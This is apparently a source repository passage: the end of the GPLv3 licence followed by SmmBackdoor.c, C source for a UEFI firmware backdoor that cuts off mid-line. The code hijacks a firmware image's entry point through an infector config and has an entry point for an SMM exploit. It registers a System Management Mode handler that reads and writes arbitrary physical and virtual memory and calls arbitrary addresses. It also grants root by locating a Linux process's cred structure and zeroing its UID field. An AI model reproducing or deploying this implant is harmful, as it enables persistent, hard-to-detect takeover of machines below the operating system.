INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /SmmBackdoor/SmmBackdoor.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | #include 21 | 22 | #include "config.h" 23 | 24 | #include "common.h" 25 | #include "printf.h" 26 | #include "debug.h" 27 | #include "loader.h" 28 | #include "virtmem.h" 29 | #include "ovmf.h" 30 | #include "SmmBackdoor.h" 31 | 32 | #include "asm/common_asm.h" 33 | 34 | #include "serial.h" 35 | 36 | #pragma warning(disable: 4054) 37 | #pragma warning(disable: 4055) 38 | 39 | typedef VOID (* BACKDOOR_ENTRY_RESIDENT)(PVOID Image); 40 | 41 | #define BACKDOOR_RELOCATED_ADDR(_sym_, _addr_) \ 42 | RVATOVA((_addr_), (UINT64)(_sym_) - (UINT64)m_ImageBase) 43 | 44 | #pragma section(".conf", read, write) 45 | 46 | EFI_STATUS BackdoorEntryInfected(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE *SystemTable); 47 | 48 | EFI_STATUS BackdoorEntryExploit(EFI_SMM_SYSTEM_TABLE2 *Smst); 49 | 50 | // PE image section with information for infector 51 | __declspec(allocate(".conf")) INFECTOR_CONFIG m_InfectorConfig = 52 | { 53 | // address of infected file new entry point 54 | (PVOID)&BackdoorEntryInfected, 55 | 56 | // address of old entry point (will be set by infector) 57 | 0, 58 | 59 | // entry point to call by SMM exploit 60 | (PVOID)&BackdoorEntryExploit 61 | }; 62 | 63 | // MSR registers 64 | #define IA32_KERNEL_GS_BASE 0xC0000102 65 | #define MSR_SMM_MCA_CAP 0x17D 66 | #define MSR_SMM_FEATURE_CONTROL 0x4E0 67 | 68 | #define MAX_SMRAM_SIZE (0x800000 * 2) 69 | 70 | EFI_SYSTEM_TABLE *gST; 71 | EFI_BOOT_SERVICES *gBS; 72 | EFI_RUNTIME_SERVICES *gRT; 73 | 74 | EFI_SMM_SYSTEM_TABLE2 *m_Smst = NULL; 75 | 76 | BOOLEAN m_bInfectedImage = FALSE; 77 | EFI_HANDLE m_ImageHandle = NULL; 78 | PVOID m_ImageBase = NULL; 79 | 80 | PBACKDOOR_INFO m_BackdoorInfo = NULL; 81 | 82 | // serial I/O interface for debug purposes 83 | EFI_SERIAL_IO_PROTOCOL *m_SerialIo = NULL; 84 | 85 | // console I/O interface for debug messages 86 | EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *m_TextOutput = NULL; 87 | char *m_PendingOutput = NULL; 88 | 89 | // software SMI handler register context 90 | EFI_SMM_SW_REGISTER_CONTEXT m_SwDispatch2RegCtx = { BACKDOOR_SW_SMI_VAL }; 91 | 92 | // SMM periodic timer register context (time in 100 nanosecond units) 93 | EFI_SMM_PERIODIC_TIMER_REGISTER_CONTEXT m_PeriodicTimerDispatch2RegCtx = { 1000000, 640000 }; 94 | 95 | // periodic timer vars 96 | UINT64 m_PeriodicTimerCounter = 0; 97 | EFI_HANDLE m_PeriodicTimerDispatchHandle = NULL; 98 | EFI_SMM_PERIODIC_TIMER_DISPATCH2_PROTOCOL *m_PeriodicTimerDispatch = NULL; 99 | 100 | EFI_STATUS PeriodicTimerDispatch2Register(EFI_HANDLE *DispatchHandle); 101 | EFI_STATUS PeriodicTimerDispatch2Unregister(EFI_HANDLE DispatchHandle); 102 | 103 | UINT64 m_DummyPage = 0; 104 | //-------------------------------------------------------------------------------------- 105 | void ConsolePrint(char *Message) 106 | { 107 | UINTN Len = strlen(Message), i = 0; 108 | 109 | if (m_TextOutput) 110 | { 111 | for (i = 0; i < Len; i += 1) 112 | { 113 | CHAR16 Char[2]; 114 | 115 | Char[0] = (CHAR16)Message[i]; 116 | Char[1] = 0; 117 | 118 | m_TextOutput->OutputString(m_TextOutput, Char); 119 | } 120 | } 121 | } 122 | //-------------------------------------------------------------------------------------- 123 | BOOLEAN ConsoleInit(void) 124 | { 125 | if (m_PendingOutput == NULL) 126 | { 127 | EFI_PHYSICAL_ADDRESS PagesAddr; 128 | 129 | // allocate memory for pending debug output 130 | EFI_STATUS Status = gBS->AllocatePages( 131 | AllocateAnyPages, 132 | EfiRuntimeServicesData, 133 | 1, &PagesAddr 134 | ); 135 | if (EFI_ERROR(Status)) 136 | { 137 | DbgMsg(__FILE__, __LINE__, "AllocatePages() fails: 0x%X\r\n", Status); 138 | return FALSE; 139 | } 140 | 141 | m_PendingOutput = (char *)PagesAddr; 142 | gBS->SetMem(m_PendingOutput, PAGE_SIZE, 0); 143 | } 144 | 145 | return TRUE; 146 | } 147 | //-------------------------------------------------------------------------------------- 148 | void SerialPrint(char *Message) 149 | { 150 | UINTN Len = strlen(Message), i = 0; 151 | 152 | #if defined(BACKDOOR_DEBUG_SERIAL_PROTOCOL) 153 | 154 | if (m_SerialIo) 155 | { 156 | m_SerialIo->Write(m_SerialIo, &Len, Message); 157 | } 158 | 159 | #elif defined(BACKDOOR_DEBUG_SERIAL_BUILTIN) 160 | 161 | SerialPortInitialize(SERIAL_PORT_NUM, SERIAL_BAUDRATE); 162 | 163 | for (i = 0; i < Len; i += 1) 164 | { 165 | // send single byte via serial port 166 | SerialPortWrite(SERIAL_PORT_NUM, Message[i]); 167 | } 168 | 169 | #elif defined(BACKDOOR_DEBUG_SERIAL_OVMF) 170 | 171 | for (i = 0; i < Len; i += 1) 172 | { 173 | // send single byte to OVMF debug port 174 | __outbyte(OVMF_DEBUG_PORT, Message[i]); 175 | } 176 | 177 | #endif 178 | 179 | #if defined(BACKDOOR_DEBUG_SERIAL_TO_CONSOLE) 180 | 181 | if (m_TextOutput == NULL) 182 | { 183 | if (m_PendingOutput && 184 | strlen(m_PendingOutput) + strlen(Message) < PAGE_SIZE) 185 | { 186 | // text output protocol is not initialized yet, save output to temp buffer 187 | strcat(m_PendingOutput, Message); 188 | } 189 | } 190 | else 191 | { 192 | ConsolePrint(Message); 193 | } 194 | 195 | #endif 196 | 197 | } 198 | //-------------------------------------------------------------------------------------- 199 | BOOLEAN SerialInit(VOID) 200 | { 201 | 202 | #if defined(BACKDOOR_DEBUG_SERIAL_PROTOCOL) 203 | 204 | if (m_SerialIo) 205 | { 206 | // serial I/O is already initialized 207 | return TRUE; 208 | } 209 | 210 | // TODO: initialize EFI serial I/O protocol 211 | // ... 212 | 213 | if (m_SerialIo == NULL) 214 | { 215 | return FALSE; 216 | } 217 | 218 | #elif defined(BACKDOOR_DEBUG_SERIAL_BUILTIN) 219 | 220 | SerialPortInitialize(SERIAL_PORT_NUM, SERIAL_BAUDRATE); 221 | 222 | #endif 223 | 224 | return TRUE; 225 | } 226 | //-------------------------------------------------------------------------------------- 227 | PVOID BackdoorImageAddress(void) 228 | { 229 | PVOID Addr = _get_addr(); 230 | PVOID Base = (PVOID)((UINT64)Addr & ~(DEFAULT_EDK_ALIGN - 1)); 231 | 232 | // get current module base by address inside of it 233 | while (*(PUSHORT)Base != EFI_IMAGE_DOS_SIGNATURE) 234 | { 235 | Base = (PVOID)((PUCHAR)Base - DEFAULT_EDK_ALIGN); 236 | } 237 | 238 | return Base; 239 | } 240 | //-------------------------------------------------------------------------------------- 241 | PVOID BackdoorImageReallocate(PVOID Image) 242 | { 243 | EFI_IMAGE_NT_HEADERS *pHeaders = (EFI_IMAGE_NT_HEADERS *)RVATOVA(Image, 244 | ((EFI_IMAGE_DOS_HEADER *)Image)->e_lfanew); 245 | 246 | UINTN PagesCount = (pHeaders->OptionalHeader.SizeOfImage / PAGE_SIZE) + 1; 247 | EFI_PHYSICAL_ADDRESS PagesAddr; 248 | 249 | // allocate memory for executable image 250 | EFI_STATUS Status = gBS->AllocatePages( 251 | AllocateAnyPages, 252 | EfiRuntimeServicesData, 253 | PagesCount, 254 | &PagesAddr 255 | ); 256 | if (Status == EFI_SUCCESS) 257 | { 258 | PVOID Reallocated = (PVOID)PagesAddr; 259 | 260 | // copy image to the new location 261 | gBS->CopyMem(Reallocated, Image, pHeaders->OptionalHeader.SizeOfImage); 262 | 263 | // update image relocations acording to the new address 264 | LDR_UPDATE_RELOCS(Reallocated, Image, Reallocated); 265 | 266 | return Reallocated; 267 | } 268 | else 269 | { 270 | DbgMsg(__FILE__, __LINE__, "AllocatePages() fails: 0x%X\r\n", Status); 271 | } 272 | 273 | return NULL; 274 | } 275 | //-------------------------------------------------------------------------------------- 276 | EFI_STATUS BackdoorImageCallRealEntry( 277 | PVOID Image, 278 | EFI_HANDLE ImageHandle, 279 | EFI_SYSTEM_TABLE *SystemTable) 280 | { 281 | if (m_InfectorConfig.OriginalEntryPoint != 0) 282 | { 283 | EFI_IMAGE_ENTRY_POINT pEntry = (EFI_IMAGE_ENTRY_POINT)RVATOVA( 284 | Image, 285 | m_InfectorConfig.OriginalEntryPoint 286 | ); 287 | 288 | // call original entry point 289 | return pEntry(ImageHandle, SystemTable); 290 | } 291 | 292 | return EFI_SUCCESS; 293 | } 294 | //-------------------------------------------------------------------------------------- 295 | PBACKDOOR_INFO BackdoorInfoGet(VOID) 296 | { 297 | EFI_GUID VariableGuid = BACKDOOR_VAR_GUID; 298 | UINTN VariableSize = sizeof(PBACKDOOR_INFO); 299 | PBACKDOOR_INFO pBackdoorInfo = NULL; 300 | 301 | EFI_STATUS Status = gRT->GetVariable( 302 | BACKDOOR_VAR_INFO_NAME, &VariableGuid, NULL, 303 | &VariableSize, (PVOID)&pBackdoorInfo 304 | ); 305 | if (Status == EFI_SUCCESS) 306 | { 307 | return pBackdoorInfo; 308 | } 309 | 310 | return NULL; 311 | } 312 | //-------------------------------------------------------------------------------------- 313 | BOOLEAN BackdoorInfoInit(VOID) 314 | { 315 | EFI_GUID VariableGuid = BACKDOOR_VAR_GUID; 316 | PBACKDOOR_INFO pBackdoorInfo = NULL; 317 | UINTN PagesCount = 1 + (MAX_SMRAM_SIZE / PAGE_SIZE); 318 | 319 | if ((pBackdoorInfo = BackdoorInfoGet()) == NULL) 320 | { 321 | EFI_PHYSICAL_ADDRESS PagesAddr; 322 | 323 | // allocate two 4Kb memory pages for backdoor info 324 | EFI_STATUS Status = gBS->AllocatePages( 325 | AllocateAnyPages, 326 | EfiRuntimeServicesData, 327 | PagesCount, &PagesAddr 328 | ); 329 | if (EFI_ERROR(Status)) 330 | { 331 | DbgMsg(__FILE__, __LINE__, "AllocatePages() fails: 0x%X\r\n", Status); 332 | return FALSE; 333 | } 334 | 335 | pBackdoorInfo = (PBACKDOOR_INFO)PagesAddr; 336 | gBS->SetMem(pBackdoorInfo, PagesCount * PAGE_SIZE, 0); 337 | 338 | DbgMsg(__FILE__, __LINE__, "Backdoor info is at "FPTR"\r\n", pBackdoorInfo); 339 | 340 | Status = gRT->SetVariable( 341 | BACKDOOR_VAR_INFO_NAME, &VariableGuid, 342 | EFI_VARIABLE_RUNTIME_ACCESS | EFI_VARIABLE_BOOTSERVICE_ACCESS, 343 | sizeof(PBACKDOOR_INFO), (PVOID)&pBackdoorInfo 344 | ); 345 | if (EFI_ERROR(Status)) 346 | { 347 | DbgMsg(__FILE__, __LINE__, "SetVariable() fails: 0x%X\r\n", Status); 348 | return FALSE; 349 | } 350 | } 351 | 352 | return TRUE; 353 | } 354 | //-------------------------------------------------------------------------------------- 355 | VOID SimpleTextOutProtocolNotifyHandler(EFI_EVENT Event, PVOID Context) 356 | { 357 | EFI_STATUS Status = EFI_SUCCESS; 358 | 359 | // initialize serial port again if it wasn't available 360 | SerialInit(); 361 | 362 | if (m_TextOutput == NULL) 363 | { 364 | // initialize console I/O 365 | Status = gBS->HandleProtocol( 366 | gST->ConsoleOutHandle, 367 | &gEfiSimpleTextOutProtocolGuid, 368 | (PVOID *)&m_TextOutput 369 | ); 370 | if (Status == EFI_SUCCESS) 371 | { 372 | m_TextOutput->SetAttribute(m_TextOutput, EFI_TEXT_ATTR(EFI_WHITE, EFI_RED)); 373 | m_TextOutput->ClearScreen(m_TextOutput); 374 | 375 | // print pending messages 376 | if (m_PendingOutput) 377 | { 378 | EFI_PHYSICAL_ADDRESS PagesAddr = (EFI_PHYSICAL_ADDRESS)m_PendingOutput; 379 | 380 | ConsolePrint(m_PendingOutput); 381 | 382 | // free temp buffer 383 | gBS->FreePages(PagesAddr, 1); 384 | m_PendingOutput = NULL; 385 | 386 | gBS->Stall(TO_MICROSECONDS(5)); 387 | } 388 | } 389 | } 390 | 391 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Protocol ready\r\n"); 392 | } 393 | //-------------------------------------------------------------------------------------- 394 | EFI_STATUS RegisterProtocolNotifyDxe( 395 | EFI_GUID *Guid, EFI_EVENT_NOTIFY Handler, 396 | EFI_EVENT *Event, PVOID *Registration) 397 | { 398 | EFI_STATUS Status = gBS->CreateEvent(EVT_NOTIFY_SIGNAL, TPL_CALLBACK, Handler, NULL, Event); 399 | if (EFI_ERROR(Status)) 400 | { 401 | DbgMsg(__FILE__, __LINE__, "CreateEvent() fails: 0x%X\r\n", Status); 402 | return Status; 403 | } 404 | 405 | Status = gBS->RegisterProtocolNotify(Guid, *Event, (PVOID)Registration); 406 | if (EFI_ERROR(Status)) 407 | { 408 | DbgMsg(__FILE__, __LINE__, "RegisterProtocolNotify() fails: 0x%X\r\n", Status); 409 | return Status; 410 | } 411 | 412 | DbgMsg(__FILE__, __LINE__, "Protocol notify handler is at "FPTR"\r\n", Handler); 413 | 414 | return Status; 415 | } 416 | 417 | VOID BackdoorEntryResident(PVOID Image) 418 | { 419 | PVOID Registration = NULL; 420 | EFI_EVENT Event = NULL; 421 | 422 | m_ImageBase = Image; 423 | 424 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Started\r\n"); 425 | 426 | RegisterProtocolNotifyDxe( 427 | &gEfiSimpleTextOutProtocolGuid, SimpleTextOutProtocolNotifyHandler, 428 | &Event, &Registration 429 | ); 430 | } 431 | //-------------------------------------------------------------------------------------- 432 | EFI_STATUS SmmCallHandle(UINT64 Code, UINT64 Arg1, UINT64 Arg2, PCONTROL_REGS ControlRegs) 433 | { 434 | EFI_STATUS Status = EFI_INVALID_PARAMETER; 435 | PUCHAR Buff = (PUCHAR)RVATOVA(m_BackdoorInfo, PAGE_SIZE); 436 | 437 | switch (Code) 438 | { 439 | case BACKDOOR_SW_DATA_PING: 440 | { 441 | // do nothing, just check for alive backdoor 442 | Status = EFI_SUCCESS; 443 | 444 | break; 445 | } 446 | 447 | case BACKDOOR_SW_DATA_READ_PHYS_PAGE: 448 | case BACKDOOR_SW_DATA_READ_PHYS_DWORD: 449 | case BACKDOOR_SW_DATA_WRITE_PHYS_PAGE: 450 | case BACKDOOR_SW_DATA_WRITE_PHYS_DWORD: 451 | { 452 | BOOLEAN bLargePage = FALSE; 453 | UINTN i = 0, Len = PAGE_SIZE; 454 | UINT64 Addr = 0; 455 | 456 | if (Arg2 != 0) 457 | { 458 | if (!Check_IA_32e(ControlRegs)) 459 | { 460 | DbgMsg(__FILE__, __LINE__, "ERROR: IA-32e paging is not enabled\r\n"); 461 | 462 | Status = EFI_UNSUPPORTED; 463 | goto _end; 464 | } 465 | 466 | // use caller specified buffer virtual address 467 | if ((Status = VirtualToPhysical(Arg2, &Addr, ControlRegs->Cr3, __readcr3())) == EFI_SUCCESS) 468 | { 469 | Buff = (PUCHAR)Addr; 470 | } 471 | else 472 | { 473 | DbgMsg( 474 | __FILE__, __LINE__, 475 | "ERROR: Unable to resolve physical address for 0x%llx\r\n", Arg2 476 | ); 477 | 478 | goto _end; 479 | } 480 | } 481 | 482 | if (Code == BACKDOOR_SW_DATA_READ_PHYS_DWORD || 483 | Code == BACKDOOR_SW_DATA_WRITE_PHYS_DWORD) 484 | { 485 | Len = sizeof(UINT32); 486 | } 487 | 488 | if (Code == BACKDOOR_SW_DATA_READ_PHYS_PAGE || 489 | Code == BACKDOOR_SW_DATA_READ_PHYS_DWORD) 490 | { 491 | DbgMsg( 492 | __FILE__, __LINE__, "Copying %d bytes from 0x%llx to "FPTR"\r\n", 493 | Len, Arg1, Buff 494 | ); 495 | } 496 | else if (Code == BACKDOOR_SW_DATA_WRITE_PHYS_PAGE || 497 | Code == BACKDOOR_SW_DATA_WRITE_PHYS_DWORD) 498 | { 499 | DbgMsg( 500 | __FILE__, __LINE__, "Copying %d bytes from "FPTR" to 0x%llx\r\n", 501 | Len, Buff, Arg1 502 | ); 503 | } 504 | 505 | // map physical address 506 | if (m_DummyPage != 0 && VirtualAddrRemap(m_DummyPage, Arg1, __readcr3(), &bLargePage)) 507 | { 508 | UINT64 TargetAddr = m_DummyPage; 509 | 510 | if (bLargePage) 511 | { 512 | TargetAddr += PAGE_OFFSET_2M(Arg1); 513 | } 514 | else 515 | { 516 | TargetAddr += PAGE_OFFSET_4K(Arg1); 517 | } 518 | 519 | for (i = 0; i < Len; i += 1) 520 | { 521 | // copy memory contents 522 | if (Code == BACKDOOR_SW_DATA_READ_PHYS_PAGE || 523 | Code == BACKDOOR_SW_DATA_READ_PHYS_DWORD) 524 | { 525 | *(Buff + i) = *(PUCHAR)(TargetAddr + i); 526 | } 527 | else if (Code == BACKDOOR_SW_DATA_WRITE_PHYS_PAGE || 528 | Code == BACKDOOR_SW_DATA_WRITE_PHYS_DWORD) 529 | { 530 | *(PUCHAR)(TargetAddr + i) = *(Buff + i); 531 | } 532 | } 533 | 534 | // revert old mapping 535 | VirtualAddrRemap(m_DummyPage, m_DummyPage, __readcr3(), NULL); 536 | 537 | Status = EFI_SUCCESS; 538 | } 539 | else 540 | { 541 | Status = EFI_NO_MAPPING; 542 | } 543 | 544 | break; 545 | } 546 | 547 | case BACKDOOR_SW_DATA_READ_VIRT_PAGE: 548 | case BACKDOOR_SW_DATA_READ_VIRT_DWORD: 549 | case BACKDOOR_SW_DATA_WRITE_VIRT_PAGE: 550 | case BACKDOOR_SW_DATA_WRITE_VIRT_DWORD: 551 | { 552 | BOOLEAN bLargePage = FALSE; 553 | UINTN i = 0, Len = PAGE_SIZE; 554 | UINT64 Addr = 0; 555 | 556 | if (!Check_IA_32e(ControlRegs)) 557 | { 558 | DbgMsg(__FILE__, __LINE__, "ERROR: IA-32e paging is not enabled\r\n"); 559 | 560 | Status = EFI_UNSUPPORTED; 561 | goto _end; 562 | } 563 | 564 | if (Arg2 != 0) 565 | { 566 | // use caller specified buffer virtual address 567 | if ((Status = VirtualToPhysical(Arg2, &Addr, ControlRegs->Cr3, __readcr3())) == EFI_SUCCESS) 568 | { 569 | Buff = (PUCHAR)Addr; 570 | } 571 | else 572 | { 573 | DbgMsg( 574 | __FILE__, __LINE__, 575 | "ERROR: Unable to resolve physical address for 0x%llx\r\n", Arg2 576 | ); 577 | 578 | goto _end; 579 | } 580 | } 581 | 582 | if (VirtualToPhysical(Arg1, &Addr, ControlRegs->Cr3, __readcr3()) == EFI_SUCCESS) 583 | { 584 | if (Code == BACKDOOR_SW_DATA_READ_VIRT_DWORD || 585 | Code == BACKDOOR_SW_DATA_WRITE_VIRT_DWORD) 586 | { 587 | Len = sizeof(UINT32); 588 | } 589 | 590 | if (Code == BACKDOOR_SW_DATA_READ_VIRT_PAGE || 591 | Code == BACKDOOR_SW_DATA_READ_VIRT_DWORD) 592 | { 593 | DbgMsg( 594 | __FILE__, __LINE__, "Copying %d bytes from 0x%llx (VA = 0x%llx) to "FPTR"\r\n", 595 | Len, Addr, Arg1, Buff 596 | ); 597 | } 598 | else if (Code == BACKDOOR_SW_DATA_WRITE_VIRT_PAGE || 599 | Code == BACKDOOR_SW_DATA_WRITE_VIRT_DWORD) 600 | { 601 | DbgMsg( 602 | __FILE__, __LINE__, "Copying %d bytes from "FPTR" to 0x%llx (VA = 0x%llx)\r\n", 603 | Len, Buff, Addr, Arg1 604 | ); 605 | } 606 | 607 | // map physical address 608 | if (m_DummyPage != 0 && VirtualAddrRemap(m_DummyPage, Addr, __readcr3(), &bLargePage)) 609 | { 610 | UINT64 TargetAddr = m_DummyPage; 611 | 612 | if (bLargePage) 613 | { 614 | TargetAddr += PAGE_OFFSET_2M(Addr); 615 | } 616 | else 617 | { 618 | TargetAddr += PAGE_OFFSET_4K(Addr); 619 | } 620 | 621 | for (i = 0; i < Len; i += 1) 622 | { 623 | // copy memory contents 624 | if (Code == BACKDOOR_SW_DATA_READ_VIRT_PAGE || 625 | Code == BACKDOOR_SW_DATA_READ_VIRT_DWORD) 626 | { 627 | *(Buff + i) = *(PUCHAR)(TargetAddr + i); 628 | } 629 | else if (Code == BACKDOOR_SW_DATA_WRITE_VIRT_PAGE || 630 | Code == BACKDOOR_SW_DATA_WRITE_VIRT_DWORD) 631 | { 632 | *(PUCHAR)(TargetAddr + i) = *(Buff + i); 633 | } 634 | } 635 | 636 | // revert old mapping 637 | VirtualAddrRemap(m_DummyPage, m_DummyPage, __readcr3(), NULL); 638 | 639 | Status = EFI_SUCCESS; 640 | } 641 | else 642 | { 643 | Status = EFI_NO_MAPPING; 644 | } 645 | } 646 | else 647 | { 648 | DbgMsg( 649 | __FILE__, __LINE__, 650 | "ERROR: Unable to resolve physical address for 0x%llx\r\n", Arg1 651 | ); 652 | 653 | Status = EFI_NOT_FOUND; 654 | } 655 | 656 | break; 657 | } 658 | 659 | case BACKDOOR_SW_DATA_TIMER_ENABLE: 660 | { 661 | if (m_PeriodicTimerDispatchHandle == NULL) 662 | { 663 | m_BackdoorInfo->TicksCount = 0; 664 | 665 | // enable periodic timer handler 666 | PeriodicTimerDispatch2Register(&m_PeriodicTimerDispatchHandle); 667 | 668 | Status = EFI_SUCCESS; 669 | } 670 | else 671 | { 672 | DbgMsg(__FILE__, __LINE__, "ERROR: Timer is already registered\r\n"); 673 | } 674 | 675 | break; 676 | } 677 | 678 | case BACKDOOR_SW_DATA_TIMER_DISABLE: 679 | { 680 | if (m_PeriodicTimerDispatchHandle != NULL) 681 | { 682 | // disable periodic timer handler 683 | PeriodicTimerDispatch2Unregister(m_PeriodicTimerDispatchHandle); 684 | 685 | m_PeriodicTimerDispatchHandle = NULL; 686 | Status = EFI_SUCCESS; 687 | } 688 | else 689 | { 690 | DbgMsg(__FILE__, __LINE__, "ERROR: Timer is not registered\r\n"); 691 | } 692 | 693 | break; 694 | } 695 | 696 | case BACKDOOR_SW_DATA_CALL: 697 | { 698 | typedef void (* BACKDOOR_PROC)(void); 699 | 700 | BACKDOOR_PROC Proc = (BACKDOOR_PROC)Arg1; 701 | 702 | if (Arg1 == 0) 703 | { 704 | DbgMsg(__FILE__, __LINE__, "ERROR: Arg1 must be specified\r\n"); 705 | 706 | Status = EFI_INVALID_PARAMETER; 707 | goto _end; 708 | } 709 | 710 | DbgMsg(__FILE__, __LINE__, "Calling "FPTR"\r\n", Proc); 711 | 712 | Proc(); 713 | 714 | Status = EFI_SUCCESS; 715 | break; 716 | } 717 | 718 | case BACKDOOR_SW_DATA_PRIVESC: 719 | { 720 | UINT64 Addr = 0, GsBase = 0; 721 | int OffsetTaskStruct = 0, OffsetCred = 0; 722 | unsigned char OffsetCredVal = 0; 723 | 724 | if (Arg1 == 0) 725 | { 726 | DbgMsg(__FILE__, __LINE__, "ERROR: Arg1 must be specified\r\n"); 727 | 728 | Status = EFI_INVALID_PARAMETER; 729 | goto _end; 730 | } 731 | 732 | if (!Check_IA_32e(ControlRegs)) 733 | { 734 | DbgMsg(__FILE__, __LINE__, "ERROR: IA-32e paging is not enabled\r\n"); 735 | 736 | Status = EFI_UNSUPPORTED; 737 | goto _end; 738 | } 739 | 740 | DbgMsg(__FILE__, __LINE__, "Syscall address is 0x%llx\r\n", Arg1); 741 | 742 | if ((Status = VirtualToPhysical(Arg1, &Addr, ControlRegs->Cr3, __readcr3())) == EFI_SUCCESS) 743 | { 744 | /* 745 | User mode program (smm_call) passing sys_getuid/euid/gid/egid 746 | function address in 1-st argument, we need to analyse it's code 747 | and get offsets to task_struct, cred and uid/euid/gid/egid fields. 748 | Then we just set filed value to 0 (root). 749 | 750 | sys_getuid code as example: 751 | 752 | mov %gs:0xc700, %rax ; get task_struct 753 | mov 0x388(%rax), %rax ; get task_struct->cred 754 | mov 0x4(%rax), %eax ; get desired value from cred 755 | retq 756 | */ 757 | if (memcmp((void *)(Addr + 0x00), "\x65\x48\x8b\x04\x25", 5) || 758 | memcmp((void *)(Addr + 0x09), "\x48\x8b\x80", 3) || 759 | memcmp((void *)(Addr + 0x10), "\x8b\x40", 2)) 760 | { 761 | DbgMsg(__FILE__, __LINE__, "ERROR: Unexpected binary code\r\n"); 762 | 763 | Status = EFI_INVALID_PARAMETER; 764 | goto _end; 765 | } 766 | 767 | OffsetCredVal = *(unsigned char *)(Addr + 0x12); 768 | OffsetTaskStruct = *(int *)(Addr + 0x05); 769 | OffsetCred = *(int *)(Addr + 0x0c); 770 | 771 | DbgMsg( 772 | __FILE__, __LINE__, 773 | "task_struct offset: 0x%x, cred offset: 0x%x, cred value offset: 0x%x\r\n", 774 | OffsetTaskStruct, OffsetCred, OffsetCredVal 775 | ); 776 | } 777 | else 778 | { 779 | DbgMsg( 780 | __FILE__, __LINE__, 781 | "ERROR: Unable to resolve physical address for 0x%llx\r\n", Arg1 782 | ); 783 | 784 | goto _end; 785 | } 786 | 787 | GsBase = __readmsr(IA32_KERNEL_GS_BASE); 788 | 789 | DbgMsg(__FILE__, __LINE__, "GS base is 0x%llx\r\n", GsBase); 790 | 791 | // check if GS base points to user-mode 792 | if ((GsBase >> 63) == 0) 793 | { 794 | DbgMsg(__FILE__, __LINE__, "ERROR: Bad GS base\r\n"); 795 | 796 | Status = EFI_INVALID_PARAMETER; 797 | goto _end; 798 | } 799 | 800 | if ((Status = VirtualToPhysical(GsBase, &Addr, ControlRegs->Cr3, __readcr3())) == EFI_SUCCESS) 801 | { 802 | UINT64 TaskStruct = *(UINT64 *)(Addr + OffsetTaskStruct); 803 | 804 | DbgMsg(__FILE__, __LINE__, "task_struct is at 0x%llx\r\n", TaskStruct); 805 | 806 | if ((Status = VirtualToPhysical(TaskStruct, &Addr, ControlRegs->Cr3, __readcr3())) == EFI_SUCCESS) 807 | { 808 | UINT64 Cred = *(UINT64 *)(Addr + OffsetCred); 809 | 810 | DbgMsg(__FILE__, __LINE__, "cred is at 0x%llx\r\n", Cred); 811 | 812 | if ((Status = VirtualToPhysical(Cred, &Addr, ControlRegs->Cr3, __readcr3())) == EFI_SUCCESS) 813 | { 814 | int *CredVal = (int *)(Addr + OffsetCredVal); 815 | 816 | DbgMsg( 817 | __FILE__, __LINE__, 818 | "Current cred value is %d (setting to 0)\r\n", *CredVal 819 | ); 820 | 821 | // set root privilleges 822 | *CredVal = 0; 823 | } 824 | else 825 | { 826 | DbgMsg( 827 | __FILE__, __LINE__, 828 | "ERROR: Unable to resolve physical address for 0x%llx\r\n", Cred 829 | ); 830 | } 831 | } 832 | else 833 | { 834 | DbgMsg( 835 | __FILE__, __LINE__, 836 | "ERROR: Unable to resolve physical address for 0x%llx\r\n", TaskStruct 837 | ); 838 | } 839 | } 840 | else 841 | { 842 | DbgMsg( 843 | __FILE__, __LINE__, 844 | "ERROR: Unable to resolve physical address for 